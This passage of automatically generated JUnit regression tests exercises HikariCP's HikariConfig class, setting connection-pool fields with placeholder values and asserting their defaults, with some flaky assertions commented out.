java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.transactionIsolation;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
hikariConfig1.setMaxLifetime((long) (short) 1);
long long10 = hikariConfig1.leakDetectionThreshold;
hikariConfig1.setLeakDetectionThreshold((long) 35);
java.lang.String str13 = hikariConfig1.getCatalog();
java.util.Properties properties14 = null;
com.zaxxer.hikari.HikariConfig hikariConfig15 = new com.zaxxer.hikari.HikariConfig(properties14);
boolean boolean16 = hikariConfig15.isAutoCommit;
hikariConfig15.poolName = "hi!";
java.lang.String str19 = hikariConfig15.dataSourceClassName;
hikariConfig15.acquireRetries = (short) 10;
int int22 = hikariConfig15.getAcquireIncrement();
long long23 = hikariConfig15.getIdleTimeout();
long long24 = hikariConfig15.getConnectionTimeout();
long long25 = hikariConfig15.getConnectionTimeout();
java.util.Properties properties26 = hikariConfig15.getDataSourceProperties();
hikariConfig1.dataSourceProperties = properties26;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + (-1) + "'", int6 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertTrue("'" + long10 + "' != '" + 0L + "'", long10 == 0L);
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + true + "'", boolean16 == true);
org.junit.Assert.assertNull(str19);
org.junit.Assert.assertTrue("'" + int22 + "' != '" + 0 + "'", int22 == 0);
// flaky: org.junit.Assert.assertTrue("'" + long23 + "' != '" + 60L + "'", long23 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long24 + "' != '" + 10L + "'", long24 == 10L);
// flaky: org.junit.Assert.assertTrue("'" + long25 + "' != '" + 10L + "'", long25 == 10L);
org.junit.Assert.assertNotNull(properties26);
}
@Test
public void test19297() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19297");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setInitializationFailFast(true);
int int12 = hikariConfig1.transactionIsolation;
hikariConfig1.connectionCustomizerClassName = "HikariPool-43";
int int15 = hikariConfig1.transactionIsolation;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertTrue("'" + int15 + "' != '" + (-1) + "'", int15 == (-1));
}
@Test
public void test19298() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19298");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.setConnectionInitSql("hi!");
hikariConfig1.minPoolSize = (short) 0;
java.util.Properties properties7 = null;
com.zaxxer.hikari.HikariConfig hikariConfig8 = new com.zaxxer.hikari.HikariConfig(properties7);
int int9 = hikariConfig8.getTransactionIsolation();
hikariConfig8.setRegisterMbeans(false);
java.lang.String str12 = hikariConfig8.transactionIsolationName;
int int13 = hikariConfig8.transactionIsolation;
javax.sql.DataSource dataSource14 = null;
hikariConfig8.dataSource = dataSource14;
long long16 = hikariConfig8.maxLifetime;
java.lang.String str17 = hikariConfig8.dataSourceClassName;
hikariConfig8.setRegisterMbeans(true);
hikariConfig1.addDataSourceProperty("HikariPool-114", (java.lang.Object) hikariConfig8);
hikariConfig1.setLeakDetectionThreshold((long) (short) 1);
java.lang.String str23 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.connectionTimeout = 87;
java.util.Properties properties26 = hikariConfig1.dataSourceProperties;
hikariConfig1.isAutoCommit = false;
org.junit.Assert.assertTrue("'" + int9 + "' != '" + (-1) + "'", int9 == (-1));
org.junit.Assert.assertNull(str12);
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
// flaky: org.junit.Assert.assertTrue("'" + long16 + "' != '" + 35L + "'", long16 == 35L);
org.junit.Assert.assertNull(str17);
org.junit.Assert.assertNull(str23);
org.junit.Assert.assertNotNull(properties26);
}
@Test
public void test19299() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19299");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize((int) '4');
hikariConfig1.setMaximumPoolSize((int) 'a');
javax.sql.DataSource dataSource9 = null;
hikariConfig1.setDataSource(dataSource9);
hikariConfig1.setTransactionIsolation("HikariPool-1153");
hikariConfig1.isJdbc4connectionTest = true;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
}
@Test
public void test19300() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19300");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
java.util.Properties properties12 = null;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
int int14 = hikariConfig13.getTransactionIsolation();
hikariConfig13.setRegisterMbeans(false);
hikariConfig13.dataSourceClassName = "";
hikariConfig13.setIdleTimeout((long) (short) 100);
java.util.Properties properties21 = hikariConfig13.getDataSourceProperties();
hikariConfig1.setDataSourceProperties(properties21);
com.zaxxer.hikari.HikariConfig hikariConfig23 = new com.zaxxer.hikari.HikariConfig(properties21);
long long24 = hikariConfig23.leakDetectionThreshold;
boolean boolean25 = hikariConfig23.isAutoCommit();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + (-1) + "'", int14 == (-1));
org.junit.Assert.assertNotNull(properties21);
org.junit.Assert.assertTrue("'" + long24 + "' != '" + 0L + "'", long24 == 0L);
org.junit.Assert.assertTrue("'" + boolean25 + "' != '" + true + "'", boolean25 == true);
}
@Test
public void test19301() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19301");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.connectionTimeout = 10L;
hikariConfig1.connectionTestQuery = "HikariPool-104";
int int8 = hikariConfig1.transactionIsolation;
hikariConfig1.setAutoCommit(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.setConnectionTestQuery("");
java.util.Properties properties15 = hikariConfig1.getDataSourceProperties();
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setConnectionTimeout(97L);
org.junit.Assert.fail("Expected exception of type java.lang.IllegalArgumentException; message: connectionTimeout cannot be less than 100ms");
} catch (java.lang.IllegalArgumentException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int8 + "' != '" + (-1) + "'", int8 == (-1));
org.junit.Assert.assertNotNull(properties15);
}
@Test
public void test19302() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19302");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
long long6 = hikariConfig1.connectionTimeout;
hikariConfig1.setTransactionIsolation("HikariPool-517");
boolean boolean9 = hikariConfig1.isJdbc4ConnectionTest();
java.lang.String str10 = hikariConfig1.catalog;
hikariConfig1.catalog = "HikariPool-29262";
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 10L + "'", long6 == 10L);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + true + "'", boolean9 == true);
org.junit.Assert.assertNull(str10);
}
@Test
public void test19303() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19303");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.connectionTestQuery = "HikariPool-104";
hikariConfig1.maxPoolSize = (short) 100;
javax.sql.DataSource dataSource11 = null;
hikariConfig1.setDataSource(dataSource11);
hikariConfig1.setConnectionTestQuery("hi!");
hikariConfig1.isJdbc4connectionTest = true;
long long17 = hikariConfig1.getAcquireRetryDelay();
long long18 = hikariConfig1.connectionTimeout;
int int19 = hikariConfig1.transactionIsolation;
hikariConfig1.connectionInitSql = "HikariPool-387";
hikariConfig1.setAutoCommit(true);
int int24 = hikariConfig1.transactionIsolation;
java.util.Properties properties25 = null;
com.zaxxer.hikari.HikariConfig hikariConfig26 = new com.zaxxer.hikari.HikariConfig(properties25);
hikariConfig26.leakDetectionThreshold = 100;
boolean boolean29 = hikariConfig26.isJdbc4ConnectionTest();
java.util.Properties properties30 = null;
com.zaxxer.hikari.HikariConfig hikariConfig31 = new com.zaxxer.hikari.HikariConfig(properties30);
int int32 = hikariConfig31.getTransactionIsolation();
hikariConfig31.setRegisterMbeans(false);
java.lang.String str35 = hikariConfig31.transactionIsolationName;
long long36 = hikariConfig31.getIdleTimeout();
java.lang.String str37 = hikariConfig31.getCatalog();
java.lang.String str38 = hikariConfig31.getConnectionTestQuery();
java.util.Properties properties39 = null;
com.zaxxer.hikari.HikariConfig hikariConfig40 = new com.zaxxer.hikari.HikariConfig(properties39);
hikariConfig40.dataSourceClassName = "";
java.util.Properties properties43 = hikariConfig40.dataSourceProperties;
hikariConfig31.setDataSourceProperties(properties43);
hikariConfig26.dataSourceProperties = properties43;
hikariConfig26.connectionInitSql = "HikariPool-306";
hikariConfig26.setCatalog("");
java.lang.String str50 = hikariConfig26.catalog;
boolean boolean51 = hikariConfig26.isInitializationFailFast();
java.util.Properties properties52 = hikariConfig26.dataSourceProperties;
hikariConfig1.dataSourceProperties = properties52;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + long17 + "' != '" + 0L + "'", long17 == 0L);
// flaky: org.junit.Assert.assertTrue("'" + long18 + "' != '" + 10L + "'", long18 == 10L);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + (-1) + "'", int19 == (-1));
org.junit.Assert.assertTrue("'" + int24 + "' != '" + (-1) + "'", int24 == (-1));
org.junit.Assert.assertTrue("'" + boolean29 + "' != '" + true + "'", boolean29 == true);
org.junit.Assert.assertTrue("'" + int32 + "' != '" + (-1) + "'", int32 == (-1));
org.junit.Assert.assertNull(str35);
// flaky: org.junit.Assert.assertTrue("'" + long36 + "' != '" + 60L + "'", long36 == 60L);
org.junit.Assert.assertNull(str37);
org.junit.Assert.assertNull(str38);
org.junit.Assert.assertNotNull(properties43);
org.junit.Assert.assertEquals("'" + str50 + "' != '" + "" + "'", str50, "");
org.junit.Assert.assertTrue("'" + boolean51 + "' != '" + false + "'", boolean51 == false);
org.junit.Assert.assertNotNull(properties52);
}
@Test
public void test19304() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19304");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
java.lang.String str7 = hikariConfig1.getConnectionInitSql();
java.lang.String str8 = hikariConfig1.transactionIsolationName;
java.util.Properties properties9 = null;
com.zaxxer.hikari.HikariConfig hikariConfig10 = new com.zaxxer.hikari.HikariConfig(properties9);
int int11 = hikariConfig10.getTransactionIsolation();
hikariConfig10.setRegisterMbeans(false);
java.lang.String str14 = hikariConfig10.connectionTestQuery;
long long15 = hikariConfig10.getIdleTimeout();
java.util.Properties properties16 = null;
com.zaxxer.hikari.HikariConfig hikariConfig17 = new com.zaxxer.hikari.HikariConfig(properties16);
int int18 = hikariConfig17.getTransactionIsolation();
hikariConfig17.setRegisterMbeans(false);
java.lang.String str21 = hikariConfig17.transactionIsolationName;
java.lang.String str22 = hikariConfig17.connectionCustomizerClassName;
hikariConfig17.setConnectionTestQuery("hi!");
java.lang.String str25 = hikariConfig17.getCatalog();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer26 = hikariConfig17.connectionCustomizer;
java.util.Properties properties27 = null;
com.zaxxer.hikari.HikariConfig hikariConfig28 = new com.zaxxer.hikari.HikariConfig(properties27);
hikariConfig28.setConnectionInitSql("hi!");
java.util.Properties properties31 = null;
com.zaxxer.hikari.HikariConfig hikariConfig32 = new com.zaxxer.hikari.HikariConfig(properties31);
int int33 = hikariConfig32.getTransactionIsolation();
hikariConfig32.setRegisterMbeans(false);
hikariConfig32.dataSourceClassName = "";
hikariConfig32.setTransactionIsolation("");
java.util.Properties properties40 = null;
com.zaxxer.hikari.HikariConfig hikariConfig41 = new com.zaxxer.hikari.HikariConfig(properties40);
int int42 = hikariConfig41.getTransactionIsolation();
hikariConfig41.setRegisterMbeans(false);
hikariConfig41.isInitializationFailFast = true;
int int47 = hikariConfig41.acquireRetries;
hikariConfig41.setMaxLifetime((long) (-1));
int int50 = hikariConfig41.getTransactionIsolation();
java.util.Properties properties51 = null;
com.zaxxer.hikari.HikariConfig hikariConfig52 = new com.zaxxer.hikari.HikariConfig(properties51);
int int53 = hikariConfig52.getTransactionIsolation();
hikariConfig52.setRegisterMbeans(false);
java.lang.String str56 = hikariConfig52.transactionIsolationName;
int int57 = hikariConfig52.getMaximumPoolSize();
int int58 = hikariConfig52.transactionIsolation;
java.util.Properties properties59 = hikariConfig52.dataSourceProperties;
hikariConfig41.setDataSourceProperties(properties59);
hikariConfig32.dataSourceProperties = properties59;
hikariConfig28.dataSourceProperties = properties59;
hikariConfig17.setDataSourceProperties(properties59);
hikariConfig10.dataSourceProperties = properties59;
hikariConfig1.setDataSourceProperties(properties59);
hikariConfig1.setConnectionCustomizerClassName("HikariPool-117");
java.lang.String str68 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.setRegisterMbeans(true);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer71 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer71;
javax.sql.DataSource dataSource73 = hikariConfig1.getDataSource();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNull(str8);
org.junit.Assert.assertTrue("'" + int11 + "' != '" + (-1) + "'", int11 == (-1));
org.junit.Assert.assertNull(str14);
// flaky: org.junit.Assert.assertTrue("'" + long15 + "' != '" + 60L + "'", long15 == 60L);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertNull(str21);
org.junit.Assert.assertNull(str22);
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertNull(iConnectionCustomizer26);
org.junit.Assert.assertTrue("'" + int33 + "' != '" + (-1) + "'", int33 == (-1));
org.junit.Assert.assertTrue("'" + int42 + "' != '" + (-1) + "'", int42 == (-1));
org.junit.Assert.assertTrue("'" + int47 + "' != '" + 3 + "'", int47 == 3);
org.junit.Assert.assertTrue("'" + int50 + "' != '" + (-1) + "'", int50 == (-1));
org.junit.Assert.assertTrue("'" + int53 + "' != '" + (-1) + "'", int53 == (-1));
org.junit.Assert.assertNull(str56);
org.junit.Assert.assertTrue("'" + int57 + "' != '" + 60 + "'", int57 == 60);
org.junit.Assert.assertTrue("'" + int58 + "' != '" + (-1) + "'", int58 == (-1));
org.junit.Assert.assertNotNull(properties59);
org.junit.Assert.assertEquals("'" + str68 + "' != '" + "HikariPool-117" + "'", str68, "HikariPool-117");
org.junit.Assert.assertNull(dataSource73);
}
@Test
public void test19305() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19305");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setTransactionIsolation("hi!");
hikariConfig1.setAcquireRetries((int) 'a');
hikariConfig1.setConnectionTestQuery("hi!");
hikariConfig1.setMaxLifetime((long) 1);
boolean boolean13 = hikariConfig1.isInitializationFailFast;
int int14 = hikariConfig1.acquireRetries;
javax.sql.DataSource dataSource15 = hikariConfig1.dataSource;
long long16 = hikariConfig1.getAcquireRetryDelay();
hikariConfig1.connectionInitSql = "HikariPool-10756";
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + false + "'", boolean13 == false);
org.junit.Assert.assertTrue("'" + int14 + "' != '" + 97 + "'", int14 == 97);
org.junit.Assert.assertNull(dataSource15);
org.junit.Assert.assertTrue("'" + long16 + "' != '" + 0L + "'", long16 == 0L);
}
@Test
public void test19306() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19306");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setTransactionIsolation("hi!");
long long7 = hikariConfig1.connectionTimeout;
java.lang.String str8 = hikariConfig1.getPoolName();
hikariConfig1.isAutoCommit = true;
java.lang.String str11 = hikariConfig1.getPoolName();
hikariConfig1.setRegisterMbeans(true);
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
int int17 = hikariConfig16.getTransactionIsolation();
hikariConfig16.setRegisterMbeans(false);
hikariConfig16.dataSourceClassName = "";
hikariConfig16.setTransactionIsolation("");
boolean boolean24 = hikariConfig16.isRegisterMbeans();
hikariConfig16.setDataSourceClassName("HikariPool-173");
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer27 = hikariConfig16.connectionCustomizer;
java.util.Properties properties28 = null;
com.zaxxer.hikari.HikariConfig hikariConfig29 = new com.zaxxer.hikari.HikariConfig(properties28);
int int30 = hikariConfig29.getTransactionIsolation();
hikariConfig29.setRegisterMbeans(false);
hikariConfig29.dataSourceClassName = "";
hikariConfig29.setIdleTimeout((long) (short) 100);
java.util.Properties properties37 = hikariConfig29.getDataSourceProperties();
hikariConfig16.dataSourceProperties = properties37;
javax.sql.DataSource dataSource39 = hikariConfig16.dataSource;
hikariConfig1.addDataSourceProperty("HikariPool-2262", (java.lang.Object) hikariConfig16);
hikariConfig16.setMaximumPoolSize((int) (short) 0);
javax.sql.DataSource dataSource43 = hikariConfig16.getDataSource();
java.lang.Class<?> wildcardClass44 = hikariConfig16.getClass();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 10L + "'", long7 == 10L);
org.junit.Assert.assertEquals("'" + str8 + "' != '" + "hi!" + "'", str8, "hi!");
org.junit.Assert.assertEquals("'" + str11 + "' != '" + "hi!" + "'", str11, "hi!");
org.junit.Assert.assertTrue("'" + int17 + "' != '" + (-1) + "'", int17 == (-1));
org.junit.Assert.assertTrue("'" + boolean24 + "' != '" + false + "'", boolean24 == false);
org.junit.Assert.assertNull(iConnectionCustomizer27);
org.junit.Assert.assertTrue("'" + int30 + "' != '" + (-1) + "'", int30 == (-1));
org.junit.Assert.assertNotNull(properties37);
org.junit.Assert.assertNull(dataSource39);
org.junit.Assert.assertNull(dataSource43);
org.junit.Assert.assertNotNull(wildcardClass44);
}
@Test
public void test19307() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19307");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.setTransactionIsolation("hi!");
int int6 = hikariConfig1.getMaximumPoolSize();
long long7 = hikariConfig1.getMaxLifetime();
int int8 = hikariConfig1.getMinimumPoolSize();
hikariConfig1.isAutoCommit = true;
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long7 + "' != '" + 35L + "'", long7 == 35L);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 10 + "'", int8 == 10);
}
@Test
public void test19308() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19308");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.setUseInstrumentation(true);
hikariConfig1.connectionTestQuery = "HikariPool-104";
hikariConfig1.maxPoolSize = (short) 100;
javax.sql.DataSource dataSource11 = null;
hikariConfig1.setDataSource(dataSource11);
java.lang.String str13 = hikariConfig1.getConnectionCustomizerClassName();
java.util.Properties properties15 = null;
com.zaxxer.hikari.HikariConfig hikariConfig16 = new com.zaxxer.hikari.HikariConfig(properties15);
boolean boolean17 = hikariConfig16.isAutoCommit;
hikariConfig16.poolName = "hi!";
hikariConfig16.setTransactionIsolation("hi!");
long long22 = hikariConfig16.connectionTimeout;
java.lang.String str23 = hikariConfig16.getPoolName();
boolean boolean24 = hikariConfig16.isRegisterMbeans;
boolean boolean25 = hikariConfig16.isRegisterMbeans;
java.lang.String str26 = hikariConfig16.dataSourceClassName;
hikariConfig1.addDataSourceProperty("HikariPool-410", (java.lang.Object) hikariConfig16);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer28 = hikariConfig16.connectionCustomizer;
hikariConfig16.isAutoCommit = true;
hikariConfig16.connectionTimeout = 10L;
int int33 = hikariConfig16.getMaximumPoolSize();
hikariConfig16.setMaximumPoolSize(1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str13);
org.junit.Assert.assertTrue("'" + boolean17 + "' != '" + true + "'", boolean17 == true);
// flaky: org.junit.Assert.assertTrue("'" + long22 + "' != '" + 10L + "'", long22 == 10L);
org.junit.Assert.assertEquals("'" + str23 + "' != '" + "hi!" + "'", str23, "hi!");
org.junit.Assert.assertTrue("'" + boolean24 + "' != '" + false + "'", boolean24 == false);
org.junit.Assert.assertTrue("'" + boolean25 + "' != '" + false + "'", boolean25 == false);
org.junit.Assert.assertNull(str26);
org.junit.Assert.assertNull(iConnectionCustomizer28);
org.junit.Assert.assertTrue("'" + int33 + "' != '" + 60 + "'", int33 == 60);
}
@Test
public void test19309() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19309");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
hikariConfig1.setRegisterMbeans(true);
hikariConfig1.setMaxLifetime((long) (byte) 1);
java.util.Properties properties13 = null;
com.zaxxer.hikari.HikariConfig hikariConfig14 = new com.zaxxer.hikari.HikariConfig(properties13);
int int15 = hikariConfig14.getTransactionIsolation();
hikariConfig14.setRegisterMbeans(false);
java.lang.String str18 = hikariConfig14.transactionIsolationName;
int int19 = hikariConfig14.getMaximumPoolSize();
int int20 = hikariConfig14.transactionIsolation;
java.util.Properties properties21 = hikariConfig14.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties21);
int int23 = hikariConfig1.getMaximumPoolSize();
hikariConfig1.setMinimumPoolSize((int) (short) 100);
hikariConfig1.setConnectionCustomizerClassName("HikariPool-403");
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + int15 + "' != '" + (-1) + "'", int15 == (-1));
org.junit.Assert.assertNull(str18);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 60 + "'", int19 == 60);
org.junit.Assert.assertTrue("'" + int20 + "' != '" + (-1) + "'", int20 == (-1));
org.junit.Assert.assertNotNull(properties21);
org.junit.Assert.assertTrue("'" + int23 + "' != '" + 60 + "'", int23 == 60);
}
@Test
public void test19310() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19310");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
java.lang.String str9 = hikariConfig1.transactionIsolationName;
hikariConfig1.setMaximumPoolSize((int) (short) 0);
hikariConfig1.dataSourceClassName = "HikariPool-204";
javax.sql.DataSource dataSource14 = hikariConfig1.getDataSource();
hikariConfig1.setAcquireRetries(10);
hikariConfig1.setAcquireRetries(10);
hikariConfig1.transactionIsolationName = "HikariPool-410";
long long21 = hikariConfig1.getLeakDetectionThreshold();
java.lang.String str22 = hikariConfig1.poolName;
javax.sql.DataSource dataSource23 = hikariConfig1.getDataSource();
boolean boolean24 = hikariConfig1.isInitializationFailFast;
java.lang.String str25 = hikariConfig1.getPoolName();
hikariConfig1.setMaxLifetime((long) 3);
java.lang.String str28 = hikariConfig1.getCatalog();
java.lang.String str29 = hikariConfig1.getPoolName();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer30 = null;
hikariConfig1.connectionCustomizer = iConnectionCustomizer30;
hikariConfig1.isInitializationFailFast = false;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(dataSource14);
org.junit.Assert.assertTrue("'" + long21 + "' != '" + 0L + "'", long21 == 0L);
org.junit.Assert.assertEquals("'" + str22 + "' != '" + "hi!" + "'", str22, "hi!");
org.junit.Assert.assertNull(dataSource23);
org.junit.Assert.assertTrue("'" + boolean24 + "' != '" + false + "'", boolean24 == false);
org.junit.Assert.assertEquals("'" + str25 + "' != '" + "hi!" + "'", str25, "hi!");
org.junit.Assert.assertNull(str28);
org.junit.Assert.assertEquals("'" + str29 + "' != '" + "hi!" + "'", str29, "hi!");
}
@Test
public void test19311() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19311");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
boolean boolean8 = hikariConfig1.isJdbc4connectionTest;
long long9 = hikariConfig1.leakDetectionThreshold;
hikariConfig1.maxPoolSize = 3;
javax.sql.DataSource dataSource12 = hikariConfig1.dataSource;
hikariConfig1.idleTimeout = (byte) 10;
java.lang.String str15 = hikariConfig1.catalog;
// The following exception was thrown during execution in test generation
try {
hikariConfig1.setAcquireRetryDelay((long) 100);
// flaky: org.junit.Assert.fail("Expected exception of type java.lang.NullPointerException; message: null");
} catch (java.lang.NullPointerException e) {
// Expected exception.
}
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + true + "'", boolean8 == true);
org.junit.Assert.assertTrue("'" + long9 + "' != '" + 0L + "'", long9 == 0L);
org.junit.Assert.assertNull(dataSource12);
org.junit.Assert.assertNull(str15);
}
@Test
public void test19312() throws Throwable {
if (debug)
